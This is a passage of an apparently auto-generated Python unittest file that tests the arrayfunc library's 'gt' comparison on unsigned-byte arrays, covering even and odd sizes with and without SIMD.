self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_B_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_B_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_B_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_B_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code B.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code B.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code B.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code B.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_B_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'B' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'B' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.B_min
maxval = arrayfunc.arraylimits.B_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'B' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('B', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('B', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('B', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code B.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code B.
"""
for testval in self.param_array_num_pass:
